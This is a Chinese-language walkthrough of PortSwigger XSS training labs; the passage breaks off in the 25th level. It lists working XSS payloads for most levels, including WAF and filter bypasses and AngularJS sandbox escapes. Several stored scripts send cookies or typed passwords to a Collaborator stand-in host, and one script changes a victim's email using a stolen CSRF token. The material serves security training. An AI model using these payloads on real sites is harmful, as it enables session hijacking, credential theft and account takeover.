靶场链接:Port Swigger XSS
第一关
在不进行任何编码的情况下,将反射型 XSS 漏洞引入 HTML 上下文。
随机输入内容进行搜索,看源码找到内容的位置,然后查看闭合逻辑
'</h1><script>alert(1)</script><h1>'或者直接
<script>alert(1)</script>也可以
第二关
将 XSS 漏洞存储到 HTML 上下文中,但未进行任何编码。
这个随便点进一个帖子,发现能发表评论,没什么限制
<script>alert(1)</script>通关
第三关
document.write利用源端在接收器中引入 DOM XSS 漏洞location.search
直接再搜索框中进行输入,发现对输入的内容进行了转义。然后F12查看源码,发现
function trackSearch(query) { document.write('<img src="/resources/images/tracker.gif?searchTerms='+query+'">');}var query = (new URLSearchParams(window.location.search)).get('search');if(query) { trackSearch(query);} // = $0对这一段内容的解析
// 定义搜索跟踪函数:核心功能是插入统计图片,但存在致命XSS漏洞function trackSearch(query) { // 风险点1:直接拼接用户输入(query)到HTML字符串中,再通过document.write输出 // 原理:document.write会将拼接后的字符串当作HTML解析执行 // 如果query是恶意脚本(如<script>alert(1)</script>),会被浏览器直接执行 document.write('<img src="/resources/images/tracker.gif?searchTerms='+query+'">');}// 从URL的search参数中获取用户输入的搜索关键词(query)// 例:URL为 ?search=<script>alert(1)</script> 时,query就是该恶意脚本var query = (new URLSearchParams(window.location.search)).get('search');
// 如果存在搜索关键词,调用跟踪函数if(query) { // 风险点2:未对query做任何过滤/转义,直接传入危险函数 // 没有限制query的内容格式,恶意脚本被直接传递给document.write trackSearch(query);}// = $0那么通过search参数输入(就是搜索框里)
"><script>alert(123)</script>//即可。
这里的逻辑就是根据document.write('<img src="/resources/images/tracker.gif?searchTerms='+query+'">');,query是我们的输入,先”>闭合,然后恶意代码,接着//将后边原有的部分变为注释
第四关
innerHTML利用源端在接收器中引入 DOM XSS 漏洞location.search
直接输入没什么效果,F12搜索document,看到
function doSearchQuery(query) { document.getElementById('searchMessage').innerHTML = query;}var query = (new URLSearchParams(window.location.search)).get('search');if(query) { doSearchQuery(query);}依旧解析
// 搜索结果展示函数:核心是通过innerHTML渲染用户输入function doSearchQuery(query) { // 风险点1:innerHTML是危险的DOM接收器(Sink) // 原理:innerHTML会解析并执行传入的HTML/JS代码(仅限制<script>标签直接执行,但可通过其他标签触发脚本) // 风险场景:虽然innerHTML默认不执行<script>标签,但输入 <img src=x onerror=alert(1)> 这类payload时, // 会解析<img>标签并触发onerror事件,执行alert(1),导致XSS攻击 document.getElementById('searchMessage').innerHTML = query;}
// 从URL的search参数获取用户输入(源Source:location.search)// 例:URL为 ?search=<img src=x onerror=alert(1)> 时,query就是该恶意payloadvar query = (new URLSearchParams(window.location.search)).get('search');if(query) { // 风险点2:未对用户输入(query)做任何过滤/转义,直接传入危险接收器 // 没有限制query的内容格式(如HTML标签、事件属性),恶意payload被直接渲染 doSearchQuery(query);}所以使用<img>标签
<img src=1 onerror=alert(1)>成功解决
第五关
利用源信息在 jQuery 锚点
href属性接收器中引入 DOM XSS 漏洞location.search
这关又没有搜索框了,那攻击点就是帖子的评论。但是使用攻击后没发现有可攻击点,没变化啊,这时有发现了Submit feedback这个地方,进行尝试后,F12(和ctrl U)发现
$(function() { $('#backLink').attr("href", (new URLSearchParams(window.location.search)).get('returnPath'));});同样进行解析
$(function() { // 风险点1:href 是危险 DOM 接收器(Sink) // 原理:支持 javascript: 等可执行协议,或通过特殊字符注入事件属性,点击即触发XSS;无域名限制则导致钓鱼跳转 // 风险场景:returnPath=javascript:窃密脚本 或 https://仿冒域名.com
// 风险点2:输入源(Source)可控:returnPath 来自 URL 参数,攻击者可任意构造恶意值
// 风险点3:无任何防护:未过滤危险协议、未限制域名、未转义特殊字符,直接传递不可信输入 $('#backLink').attr("href", (new URLSearchParams(window.location.search)).get('returnPath'));});JS获取returnPath参数值,并拼接至a标签的href属性值。尝试从returnPath插入javscript
/feedback?returnPath=javascript:alert(1)成功解决
第六关
使用 hashchange 事件在 jQuery 选择器接收器中引入 DOM XSS 漏洞
没有搜索框,那就是帖子评论,评论后发现也没有feedback,继续尝试对评论进行攻击,可是发现都没有成功。在评论这里没招了,回到home,F12发现
$(window).on('hashchange', function(){ var post = $('section.blog-list h2:contains(' + decodeURIComponent(window.location.hash.slice(1)) + ')'); if (post) post.get(0).scrollIntoView();});照样进行解析
$(window).on('hashchange', function(){ // 风险点1:window.location.hash 是用户完全可控的输入(可任意修改URL中的#后内容) var hashValue = decodeURIComponent(window.location.hash.slice(1)); //#是hash标识,能让恶意内容被window.location.hash提取 // 风险点2:直接将用户输入拼接进 jQuery 选择器(:contains() 内的内容未做任何过滤) var post = $('section.blog-list h2:contains(' + hashValue + ')'); //hashValue:urL中#后面的内容被直接拼进:contains()里面 // 风险点3:若用户输入包含恶意脚本字符,会导致选择器语法异常,进而触发 XSS if (post) post.get(0).scrollIntoView();});大致意思为监听网页窗口的URL后的hash变化,发生变化后便会执行函数,函数中会对新的hash取值,并滚动到该hash处。 核心风险原理:
jQuery 的:contains()选择器虽然用于「包含文本匹配」,但如果拼接的用户输入中包含选择器语法字符(如 '、"、>、<、()等),会导致选择器解析异常,进而触发代码执行漏洞。
这一关用到jQuery库,他是一个轻量级的JavaScript库,对javascript进行封装,jQuery把浏览器常用功能封装成简单的API,让你用几行代码就能完成原本几十行原生JS才能做的事。在home页面url后面加上#<img src=x onerror=alert(1)>触发弹窗,然后这个题home页面有一个Go to exploit server,点击后在body中输入
<iframe src="https://0a1800da04741e39834f871f00210044.web-security-academy.net/#" onload="this.src+='<img src=x onerror=print()>'"></iframe>store保存后view exploit,然后deliver exploit to the victim,成功解决。 解释
根据上述解析中#后直接拼接,所以payload要加上#<iframe>是为了把「攻击 payload 包装成 “自动触发 + 传递到目标页面” 的形式。核心作用是:1.<iframe src="目标站#...">:让iframe加载目标页面,同时把#后的恶意hash传递给目标页面(触发目标页面的hashchange事件);2.onload="this.src+='<img src=x onerror=print()>'":利用iframe的onload事件,在iframe加载完成后,动态修改它的src,把恶意的`<img>`payload追加到 hash 中—— 这样就能让目标页面hashValue变成恶意内容,触发XSS。所以整体就是
<iframe src="目标站URL/#" onload="this.src+='<img src=x onerror=print()>'"></iframe>第七关
反射型 XSS 攻击,攻击对象为带有尖括号的 HTML 编码属性。
存在搜索栏,常规输入,然后F12查看
<input type="text" placeholder="Search the blog..." name="search" value="<script>alert(1)</script>"> == $0ctrl U发现
<input type=text placeholder='Search the blog...' name=search value="<script>alert(1)</script>">上下一对比得知<>被转义了。<转义成了<,>转义成了>,但是双引号未做处理,可尝试利用事件触发。" onclick="alert(1),search之后点击搜索框发现成功触发了,但是没有显示通过。查看提示发现靶场需使用onmouseover事件,那就是
" onmouseover="alert(1)成功通过 对于这两个事件函数的区别:onmouseover是鼠标移到元素上触发,onclick是鼠标点击元素触发
第八关
将 XSS 存储在
href带有双引号的 HTML 编码的锚属性中
没有搜索框,没有其它页面,那就找评论。发表完之后查看源码
<a id="author" href="112"><script>alert(1)</script></a>发现href字段,联系第五关知识点,website(网址栏)直接
javascript:alert(1)且在前面F12审查元素发现内容和姓名提交的内容被HTML实体化转移,这里网站website直接拼入a标签的href属性,所以前面评论提交后back to the blog点击姓名,成功触发。
第九关
利用反射型 XSS 攻击攻击带有尖括号的 HTML 编码 JavaScript 字符串
打开发现搜索框,直接攻击,然后F12搜索script发现
var searchTerms = '<script>alert(1)</script>';document.write('<img src="/resources/images/tracker.gif?searchTerms='+encodeURIComponent(searchTerms)+'">');老规矩进行分析
// 1. 核心风险:encodeURIComponent 无法防御 XSS 攻击// 原因:encodeURIComponent 仅编码特殊字符(如 &、=、% 等),但不会编码 HTML 特殊字符(<、>、"、' 等)// 当 searchTerms 包含脚本标签(<script>)时,即使经过 encodeURIComponent 编码,后端若直接拼接 HTML 输出,前端解析时仍会执行脚本var searchTerms = '<script>alert(1)</script>'; //''里是我输入的内容
// 2. 潜在风险:document.write 动态输出未过滤内容// 风险点:document.write 会直接将内容插入文档流,若拼接的参数未做严格过滤,容易触发 DOM 型 XSS// 本案例中,虽然对 searchTerms 做了 encodeURIComponent 编码,但编码后的结果(%3Cscript%3Ealert(1)%3C/script%3E)// 若后端未进一步对 HTML 特殊字符转义(如将 < 转义为 <、> 转义为 >),前端接收后解码会还原脚本标签并执行document.write('<img src="/resources/images/tracker.gif?searchTerms='+encodeURIComponent(searchTerms)+'">');由分析得知encodeURIComponent 仅编码特殊字符(如 &、=、% 等),但不会编码 HTML 特殊字符(<、>、”、’ 等),并且会将搜索内容赋值给JS脚本中的searchTherms变量。 所以逻辑就很清晰了,闭合(按照原逻辑’;)然后攻击就好了
';alert(1)//过关
第十关
在 select 元素中
document.write使用 source 实现 DOM XSS 攻击location.search
这关和前面不一样了,不是blog,变成了shop。view details,然后只能检查库存。没有什么能让我们输入的地方,可操作空间相对于前几关来说小了不少,那就是urlGET请求进行攻击。没输入直接ctrl U查看就好,发现
var stores = ["London","Paris","Milan"];var store = (new URLSearchParams(window.location.search)).get('storeId');document.write('<select name="storeId">');if(store) { document.write('<option selected>'+store+'</option>');}for(var i=0;i<stores.length;i++) { if(stores[i] === store) { continue; } document.write('<option>'+stores[i]+'</option>');}document.write('</select>');老样子分析
// 风险点1:硬编码存储列表,扩展性极差// 问题: stores 数组直接写死在代码中,新增/删除/修改门店需修改源码重新部署,无法动态更新// 影响:维护成本高,无法快速响应业务变更var stores = ["London","Paris","Milan"];// 风险点2:未验证 URL 参数合法性,存在注入风险// 问题:直接获取 URL 中的 storeId 参数,未做任何过滤/转义处理// 影响:若攻击者构造 storeId 为恶意脚本(如 <script>恶意代码</script>),会触发 XSS 攻击,窃取用户信息或篡改页面var store = (new URLSearchParams(window.location.search)).get('storeId');// 风险点3:使用 document.write 动态输出 HTML,放大注入风险// 问题:document.write 会直接解析并执行传入的 HTML/脚本,结合未验证的 store 参数,XSS 风险极高// 影响:恶意代码可直接执行,完全控制页面或窃取敏感数据document.write('<select name="storeId">');if(store) { // 风险点4:直接拼接未净化的用户输入到 HTML 中 // 问题:store 参数未经过 HTML 转义(如 & 转 &、< 转 < 等) // 影响:即使 store 不是完整脚本,特殊字符也可能破坏 HTML 结构,导致页面错乱或触发潜在注入 document.write('<option selected>'+store+'</option>');}for(var i=0;i<stores.length;i++) { if(stores[i] === store) { continue; } // 风险点5:虽拼接的是硬编码数组元素,但仍存在潜在风险 // 问题:若后续 stores 数组改为动态获取(如从接口/存储读取),未做转义会继承注入风险 // 影响:未来代码迭代时可能引入隐藏漏洞,兼容性差 document.write('<option>'+stores[i]+'</option>');}document.write('</select>');// 风险点6:缺乏参数校验,可能出现无效选项// 问题:未验证 store 参数是否存在于 stores 数组中,若传入不存在的门店值,会生成无效的选中选项// 影响:用户体验差,可能导致后续业务逻辑异常(如提交无效门店ID)
// 风险点7:document.write 的阻塞特性与兼容性问题// 问题:document.write 在页面加载完成后调用会覆盖整个页面,且部分现代浏览器/安全策略可能限制其使用// 影响:代码健壮性差,可能出现意外的页面渲染问题从URL中获取storeId参数值,利用document.write将其未处理的写入网页中,开始尝试
url/product?productId=1&storeId=123果然123被写在了页面上,F12查看,搜索123,发现<option selected>123</option>,那逻辑就很清楚了,先闭合,再攻击,且为了不让alert(1)因为裸写代码而失效,加上<script>包裹
</option><script>alert(1)</script>//过关
第十一关
AngularJS 表达式中涉及尖括号和双引号的 DOM XSS 漏洞(HTML 编码)
熟悉的搜索框又回来了,但是哪里都没找到熟悉的代码。找了wp学习的,先上payload
{{$on.constructor('alert(1)')()}}然后开始对这个paylaod的分析
{{}}在AngularJS为插值表达式,$on为监听事件方法或者为当前对象,constructor()为javascript对象的构造函数属性。这里可以理解成——当前对象加载构造的时候便会触发alert然后就是对于payload这么构造的代码分析
<body ng-app class="ng-scope"> //关键再ng-appng-app用于标记 AngularJS 应用的根节点(通常加在 <html> 或 <body> 标签上),AngularJS 会自动识别这个指令,并启动对应的应用模块,让整个应用进入 “AngularJS 环境”。(在AngularJS中,ng-app指令表示该标签内容的所有内容都会进行编译和执行。)
第十二关
反射型 DOM XSS
这一关依旧搜索框,搜完之后F12,一点前面东西的影子都没有。再分析源码,能看出是GET请求的部分就不贴了,分析其它部分
<script src='/resources/js/searchResults.js'></script><script>search('search-results')</script>第一行:从网站的 /resources/js/ 目录下,加载包含了搜索结果等的名为 searchResults.js 的外部 JavaScript 文件
第二行:调用前面加载的 searchResults.js 中定义的 search() 函数,并传入参数 'search-results'
那么去看一下searchResult.js文件
function search(path) { var xhr = new XMLHttpRequest(); xhr.onreadystatechange = function() { if (this.readyState == 4 && this.status == 200) { eval('var searchResultsObj = ' + this.responseText); displaySearchResults(searchResultsObj); } }; xhr.open("GET", path + window.location.search);//`window.location.search` 就是浏览器 URL 中 `?search=` 这部分(查询参数);`path`是传入的`'search-results'`,因此实际请求的 URL 是 `search-results?search=`;这个请求是客户端异步发起的二次请求`eval('var searchResultsObj = ' + this.responseText);` xhr.send();//重点就是上边这一部分,下边的就不粘贴了分析eval的拼接逻辑和变量命名可以推断出响应体是JSON。(分析详细如下)
1.变量名的语义:代码里定义了searchResultsObj(“Obj” 是 “Object” 的缩写),说明要把响应内容解析成 JS 对象。2.eval的拼接方式:代码用eval('var searchResultsObj = '+ this.responseText) —— 这里是把响应内容当作 JS 代码的一部分拼接后执行。 只有当this.responseText是JSON 格式的字符串时,拼接后才会形成合法的 “变量赋值语句”(比如var searchResultsObj = {"results":[],"searchTerm":"xxx"}),最终把 JSON 解析成 JS 对象。3. 后续函数的用途:displaySearchResults(searchResultsObj)是“展示搜索结果”,而它接收的是一个对象(searchResultsObj),这也符合 “从 JSON 解析出对象后渲染数据” 的逻辑。如果响应体是 HTML,代码不会用 “拼接成对象” 的方式处理,而是会直接插入 DOM(比如element.innerHTML = this.responseText)。那么打开网络,找到search-results?search=,然后查看响应
{"results":[],"searchTerm":"<script>alert(1)</script>"}根据这个可以进行闭合”};alert(123)//,成功执行 再看一次网络
{"results":[],"searchTerm":"\"}alert(123)//"}发现双引号被转义了,所以调整payload为
\"};alert(123)//成功解决
第十三关
存储型 DOM XSS
没有搜索框,post评论下手。评论之后发现我们输入的内容被<p>和</p>进行了包裹,那么就考虑闭合,同时还发现对</script>做了过滤处理。然后查看源代码
<span id='user-comments'> <script src='/resources/js/loadCommentsWithVulnerableEscapeHtml.js'></script> <script> loadComments('/post/comment') </script>通过这里可以看出是存储型DOM那么就可以构造事件触发型payload
</p><img src=1 onerror=alert(1)><p>成功触发
第十四关
在大多数标签和属性被屏蔽的情况下,反射型 XSS 攻击被引入到 HTML 上下文中
既有搜索框,也有Go to exploit server,也要联系一下第六关。
<script>alert(123)</script>被禁,显示”Tag is not allowed”,点击搜索才显示,应该是后端对标签进行了过滤,试一下看看哪个没被拦,<img>,<p>,<head>等等都被拦截,只有<body>正常可进行搜索。鉴于事件属性绕过WAF的常见思路,开始尝试事件函数,
<body onload=alert(123)>123</body>(比<body onload=alert(123)></body>多了个123的可视页面)search之后显示”Attribute is not allowed”属性被禁用了,那就尝试其它的。最后发现onresize事件未被过滤,onresize在浏览器界面的大小发生变化时触发。但是直接使用onresize没有触发,可以用<iframe>标签来改变界面大小,这就跟第六关有一点点对应起来了
<iframe src="https://0a8d00eb034864de802a033900ab00f2.web-security-academy.net/?search="><body onresize=print()>" onload="this.style.width='100px'"></iframe>然后去Go to exploit server,把上述内容填写在body里,store,再点Deliver exploit to victim,成功解决。 但是对于上边payload的构造需要解释一下
- <iframe src="URL?search=...">: 用iframe嵌入目标网站的搜索结果页,search参数是注入入口(后端会将搜索输入渲染到页面,未严格过滤则会执行注入的 HTML);
- search参数注入内容:"><body onresize=print()>: (1) " :是 HTML 实体编码的双引号",作用是闭合后端搜索框的原有标签引号(假设后端渲染为<input value="用户输入">,注入"后变成<input value="">,直接闭合input标签); (2) > :进一步闭合input标签的<,彻底终止原有标签,为注入新标签铺路; (3) <body onresize=print()> :注入合法的body标签(已知该标签不被过滤),搭配冷门事件onresize(绕 WAF 拦截),绑定print()函数(触发打印功能);
- onload="this.style.width='100px": iframe加载完成后自动设置自身宽度为 100px,仅控制iframe显示样式,不影响注入核心逻辑;
- </iframe>: 闭合iframe标签,保证HTML语法合法(避免页面结构错乱,让注入代码正常渲染)。所以这个payload整体就是
<iframe src="URL/?search="><body onresize=print()>" onload="this.style.width='100px'"></iframe>第十五关
在HTML上下文中测试反射型XSS攻击,屏蔽所有标签,只允许自定义标签
页面形式上和上一关有些相像。一样的”Tag is not allowed”开局,开始爆破测试,发现用可以用自定义标签<tag>,<tag onclick=alert(123)>121,search之后点击121即可触发弹窗123。这个需要点击触发,于是可以想到onfocus(元素获得焦点时触发):只要让自定义标签自动获得焦点,就能自动执行代码,但是要触发onfocus,需要让标签可聚焦 + 自动聚焦:
tabindex="1":让原本不可聚焦的自定义标签,支持通过tab键(或代码)聚焦id="x"+ URL 锚点#x:页面加载时,会自动跳转到id="x"的元素,同时让该元素获得焦点tabindex是 HTML 元素的一个属性,核心作用是控制元素是否 / 如何通过键盘Tab键获得焦点,同时也影响元素的 “可交互性”(比如触发onfocus事件) 然后进行封装,封到<script>location="..."</script>里,打开包含这段代码的页面时,会自动跳转到恶意 URL,进而触发onfocus事件、执行alert(document.cookie)。 把 “自定义标签 + onfocus 事件 + 自动聚焦属性” 拼到 URL 的search参数里,再用<script>location</script>包裹,就得到了最终 payload:
<script>location="URL/?search=<tag onfocus='alert(document.cookie)' id='x' tabindex='1'>#x"</script>然后依旧Go to exploit server,把上述内容填写在body里,store,再点Deliver exploit to victim,成功解决。
第十六关
允许使用 SVG 标记的反射型 XSS 攻击
这次只有搜索框了,经测试过滤了所有标签,仅svg及animatetransform标签可以被正常识别。有waf,下一步测试事件函数,大多也被禁止使用,只有onbegin被允许。那payload构造就很清楚了
<svg><animatetransform onbegin=alert(123) />扩:<animateTransform>是 SVG 用于实现 “动态变换动画” 的标签(比如让图形旋转、缩放),属于 SVG 标准语法。onbegin:SVG 专属的 “自动触发事件”——当动画开始执行时,触发指定代码。
第十七关
规范链接标签中的反射型 XSS 攻击
这一关没有搜索框,先尝试了发表评论,没有效果,又看到提示说的反射型XSS(前面没看直接去测试的),那就考虑URL。。此时F12查看元素代码发现随着打开帖子的不同,url上postId参数的值在改变且直接用参数生成了<link>标签的 href。
“ url参数我们是可控的,尝试修改 postId 的值,发现"Invalid blog post ID" ,页面不存在。那尝试修改参数名。发现页面响应,且被写入`标签 ,通过参数赋值写入尖括号<>发现如题目所说被编码,尝试利用页面中已存在的标签,通过其属性事件或内容触发脚本执行。
像这样针对用户输入被直接嵌入到 HTML 标签的属性中的漏洞场景,可以考虑用onclick,
所以先尝试?‘onclick=alert(1),显示
<link rel="canonical" href="https://0afc00e...web-security-academy.net/?" onclick="alert(1)'/>后边多了个’,加个’进行闭合?’ ——?‘onclick=‘alert(1)。添加上accesskey=‘x’可以与快捷键进行绑定,不用手动点击元素,通过快捷键就能触发XSS代码
?'accesskey='x'onclick='alert(1)成功解决
第十八关
利用反射型 XSS 攻击,将单引号和反斜杠转义到 JavaScript 字符串中
有搜索框,开始攻击。结合提示说:单引号和反斜杠被转义,无法提前闭合字符串,尝试闭合标签写入新的标签,所以payload
</script><script>alert(1)</script>成功解决
第十九关
利用反射型 XSS 攻击,攻击对象为包含尖括号、双引号、HTML 编码且单引号转义的 JavaScript 字符串。
依旧搜索框,开始攻击。经典试探<script>alert(123)</script>,F12查看元素
var searchTerms = '<script>alert(123)</script>';document.write('<img src="/resources/images/tracker.gif?searchTerms='+encodeURIComponent(searchTerms)+'">');可以得知<>被转义,前者<,后者>。我们输入的内容为searchTerms,那么就可以先闭合再攻击,逻辑明确开始实施。
正常的话按照闭合逻辑应该是这样的:">;alert(123)//。但需要注意尖括号被转义了,所以我们可以将其替换,又为了保证引号闭合后\不会别JS解析成转义符,所以换一下位置,也就是\";alert(123)//,这次又发现,“也被转义了",所以采用单引号来代替,所以最终的payload就可以得出来了
\';alert(123)//成功过关。
然后这里如果根据官方和其它wp的payload看:alert(1) 是独立语句执行,变量赋值和弹窗调用分开\'-alert(1)//
第二十关
将 XSS 存储在
onclick事件中,使用尖括号和双引号进行 HTML 编码,并使用单引号和反斜杠进行转义
这次涉及了些知识点,先总结一下
一、'的 HTML 实体解析规则
- 含义:是单引号'的HTML实体表示;- 解析场景差异: - 在HTML 标签的属性/文本中:浏览器会自动将'解析为单引号'; - 在JavaScript 字符串中:'只是普通字符,不会自动转成单引号;
但是某些后端框架或程序会显式调用HTML实体解码函数,将 ' 转换成 ',然后再执行转义。因此,是否能用 ' 绕过单引号转义,关键在于服务器端是否对输入进行了 HTML 实体解码。在本题中 onclick 是 HTML 标签的属性,浏览器在解析 HTML 标签时,会先对属性值中的 HTML 实体做解码,然后传递给 JavaScript 引擎执行
二、tracker.track()的 JS 对象方法概念
- 结构:tracker是一个对象,track是该对象的一个方法(函数);- 写法等价性: `` // 写法1(完整function关键字) var tracker = { track: function() { /* 方法体 */ } }; // 写法2(简写形式) var tracker = { track() { /* 方法体 */ } }; ```- 调用方式:通过 `tracker.track()` 执行该方法(比如示例中调用后会输出日志)。没有搜索框,去评论。website随便填一个,然后F12就可以发现
<a id="author" href="http://abcd" onclick="var tracker=(track());tracker.track('http://4567');">a</a>和
<p><script>alert(123)</script></p>重点看第一部分。输入的 Website 被写入了 href 和 onclike 的对象方法。而此时我们就可以利用开始提到的HTML实体编码,通过 ‘来绕过转义提前闭合字符串。onclick 是 HTML 标签的属性,浏览器在解析 HTML 标签时,会先对属性值中的 ’ ,然后传递给 JavaScript 引擎执行。在提交评论时发现website部分需要符合格式要求,所以无法直接写入函数,需要通过写入数学表达式的形式注入payload。所以最终的payload就有了
http://'-alert(1)-'成功解决
第二十一关
利用反射型 XSS 攻击模板字面量,该模板字面量包含尖括号、单引号、双引号、反斜杠和反引号,并已进行 Unicode 转义
有搜索框,开始攻击。F12发现
var message = `0 search results for '\u003cscript\u003ealert(123)\u003c/script\u003e'`;document.getElementById('searchMessage').innerText = message;<被转义成了\u003c,>被转义成了\u003e,加上innerText只处理纯文本内容,不会解析任何 HTML 标签、JS 脚本,也不会还原 Unicode 转义 / HTML 实体转义的特殊字符。所以说攻击点是比较局限的。
再回看这段元素代码,var message=用反引号包裹,这是 JS 中 “模板字面量” 的标志。模板字面量的特殊功能就是支持 ${表达式} 嵌入 JS 代码,结合当前题目,尖括号、引号都被 Unicode 转义了,innerText又会把内容当纯文本,但模板字面量的 ${...} 语法是在 JS 解析阶段生效的(和innerText的渲染阶段无关)—— 只要能在模板字面量里插入 ${表达式},JS 就会先执行这个表达式,再拼接成字符串。所以可以通过${}进行攻击,所以最终payload
${alert(123)}成功解决
第二十二关
利用跨站脚本攻击窃取 Cookie
没有搜索框,去评论区。这个看了提示,利用跨站脚本攻击窃取 Cookie。这题是最基础的存储型XSS漏洞,直接展示payload
<script>fetch('https://BURP-COLLABORATOR-SUBDOMAIN', {method: 'POST',mode: 'no-cors',body:document.cookie});</script>payload解释
fetch:浏览器原生的接口,用于发起网络请求。URL:https://BURP-COLLABORATOR-SUBDOMAIN 是Burp Collaborator 服务器地址,专门用于接收和记录被攻击的请求。method: 'POST':使用 POST 方法发送数据。mode: 'no-cors':允许跨域请求,但不会暴露响应内容(这避免了跨域限制)。body: document.cookie:发送当前网页的 cookie 信息作为请求体。fetch那里从bp的collaborator复制一个payload进行替换,然后发表评论,会触发脚本向目标服务器发送当前网页的cookie,即可看到相应信息,在request to collaborator里可以看到secret= 和session=lViFfnioFPl0LQILUaIOZne6KCRhzj4U。复制,回到home,抓包,然后将cookie里的session改为前面获得的值,放行,成功过关。
第二十三关
利用跨站脚本攻击窃取密码
这一关依旧发表评论,需要构造一个payload
<input name=username id=username><input type=password name=password onchange="if(this.value.length)fetch('https://BURP-COLLABORATOR-SUBDOMAIN',{method:'POST',mode: 'no-cors',body:username.value+':'+this.value});">发送后返回请求包,获得用户名和密码,administrator
第二十四关
利用 XSS 绕过 CSRF 防御
CSRF Token 防御:为每个需要权限的请求(POST/PUT/DELETE)生成一个随机的、不可预测的 token,并且 和用户会话绑定。(不是一个独立的随机字符串,而是和当前用户的登录状态一一对应的) 点击my account,用题目描述里给你账号密码登陆,然后F12查看页面代码,发现有一个标准的 CSRF token 隐藏字段
<input required type="hidden" name="csrf" value="uwlAA08snmqetTrV.LiPeQUSL94bZPHYvFr">接下来需要干的就是加载用户账户页面,获得CSRF令牌,然后通过这个令牌去更改目标的电子邮件地址。剩下的操作区域就是在评论了,进入评论,构造payload
<script>var req = new XMLHttpRequest();req.onload = handleResponse;req.open('get','/my-account',true);req.send();function handleResponse() { var token = this.responseText.match(/name="csrf" value="(\w+)"/)[1]; var changeReq = new XMLHttpRequest(); changeReq.open('post', '/my-account/change-email', true); changeReq.send('csrf='+token+'&email=test@test.com')};</script>成功过关 对于这个payload的解释
// 第一步:创建XMLHttpRequest实例,用于发送第一个GET请求获取CSRF令牌var req = new XMLHttpRequest();
// 绑定请求成功完成后的回调函数(当/my-account页面响应完成后,自动执行handleResponse函数)req.onload = handleResponse;
// 初始化异步GET请求// 参数1:请求方法get(用于获取页面数据)// 参数2:请求地址/my-account(用户账户页面,包含CSRF令牌)// 参数3:true(表示异步请求,不阻塞浏览器其他操作)req.open('get','/my-account',true);
// 发送初始化好的GET请求(GET请求无请求体,直接调用send()不传参)req.send();
// 定义GET请求成功后的回调函数,核心逻辑:提取CSRF令牌 + 发送修改邮箱的POST请求function handleResponse() { // 1. 提取CSRF令牌 // this:指向当前XMLHttpRequest实例(即req) // this.responseText:获取/my-account页面返回的完整HTML文本内容 // match(/name="csrf" value="(\w+)"/):使用正则匹配CSRF隐藏域 // (\w+):捕获组,匹配令牌的字母/数字/下划线内容 // [1]:获取正则匹配结果中的第1个捕获组,即纯CSRF令牌值 var token = this.responseText.match(/name="csrf" value="(\w+)"/)[1];
// 2. 创建第二个XMLHttpRequest实例,用于发送修改邮箱的POST请求 var changeReq = new XMLHttpRequest();
// 初始化异步POST请求 // 参数1:请求方法post(用于提交数据、修改服务器端资源) // 参数2:请求地址/my-account/change-email(邮箱修改接口) // 参数3:true(保持异步请求,不阻塞页面) changeReq.open('post', '/my-account/change-email', true);
// 发送POST请求,携带请求参数(application/x-www-form-urlencoded格式键值对) // csrf='+token:携带提取到的CSRF令牌,用于通过后端CSRF验证 // &email=test@test.com:要修改的目标邮箱地址 changeReq.send('csrf='+token+'&email=test@test.com');};第二十五关
使用 AngularJS 沙箱逃逸实现反射型 XSS(无需字符串)
旧版的 AngularJS 沙盒机制不完善,允许访问 constructor ,表达式中的 constructor.constructor 访问到全局 Function 构造器,执行任意代码。 新版 AngularJS 加强了限制,禁止访问 constructor 和其它危险属性,防止动态构造函数执行字符串代码,使得像 constructor.constructor(‘alert(123)’)() 不能运行。 并且沙盒阻止字符串字面量动态构造代码,就是不允许直接用 ‘alert(1)’ 这种字符串写代码并执行,防止直接注入执行任意JS
搜索框,开始攻击。之后F12查看代码,发现
<script>angular.module('labApp', []).controller('vulnCtrl',function($scope, $parse) { $scope.query = {}; var key = 'search'; $scope.query[key] = '<script>alert(123)</script>'; $scope.value = $parse(key)($scope.query);});</script>
<h1 ng-controller="vulnCtrl" class="ng-scope ng-binding">0 search results for <script>alert(123)</script></h1>老样子,开始分析
<!-- 这段代码包含两部分:AngularJS 前端脚本 + 绑定控制器的 HTML 标签,核心展现了 AngularJS 基础用法及 XSS 相关的内容处理 --><script>// 1. 定义一个名为 labApp 的 AngularJS 模块(模块是 AngularJS 应用的容器,用于组织代码)// 第二个参数 [] 表示该模块没有依赖其他外部模块angular.module('labApp', [])// 2. 为 labApp 模块定义一个名为 vulnCtrl 的控制器(控制器用于管理视图的数据和逻辑,关联 $scope 作用域)// 注入 $scope(视图与控制器之间的数据桥梁)和 $parse(AngularJS 内置服务,用于解析表达式).controller('vulnCtrl',function($scope, $parse) { // 3. 在 $scope 作用域上定义一个空对象 query,用于存储视图相关数据 $scope.query = {};
// 4. 定义一个字符串变量 key,值为 'search',后续用于作为 query 对象的属性名 var key = 'search';
// 5. 为 $scope.query 对象添加一个属性(属性名由 key 变量指定,即 'search') // 属性值是转义后的 HTML 脚本字符串:< 对应 <,> 对应 > // 这里存储的是一段潜在的 XSS 脚本,但已经做了 HTML 实体转义,防止直接执行 $scope.query[key] = '<script>alert(123)</script>';
// 6. 使用 $parse 服务解析 key 对应的表达式(即 'search'),返回一个解析函数 // 调用该解析函数并传入 $scope.query 作为上下文,获取 query.search 对应的属性值 // 最终将获取到的转义字符串赋值给 $scope.value(用于在视图中展示) // $parse 在这里的作用是安全地提取对象属性值,避免直接拼接表达式带来的风险 $scope.value = $parse(key)($scope.query);});</script>
<!-- 7. h1 标签:视图层元素,用于展示数据 - ng-controller="vulnCtrl":AngularJS 指令,将该标签与 vulnCtrl 控制器绑定,继承其 $scope 作用域 - class="ng-scope ng-binding":AngularJS 渲染后自动添加的类名,ng-scope 表示该元素拥有独立作用域,ng-binding 表示该元素绑定了数据 - 标签内的文本内容:展示最终渲染结果,其中的转义脚本会以纯文本形式显示(不会被浏览器解析为可执行脚本) - 整体效果:显示 "0 search results for <script>alert(123)</script>",但脚本不会执行,因为转义后的实体不会被浏览器解析为 HTML/JS 代码 --><h1 ng-controller="vulnCtrl" class="ng-scope ng-binding">0 search results for <script>alert(123)</script></h1>----------------------$scope.query = {}:创建了一个空对象 query。var key = 'search':key 字符串设为 "search"$scope.query[key] = 'abcd1234':将字符串 'abcd1234' 赋值给 query.search$scope.value = $parse(key)($scope.query):$parse 是 AngularJS 的服务,用来把字符串解析成表达式函数。这里调用 $parse('search')($scope.query),等价于执行 $scope.query.search 表达式,$parse(abcd1234) 会直接把字符串 abcd1234 解析成 AngularJS 表达式并执行。也就是说我们输入的表达式会直接被当成 AngularJS 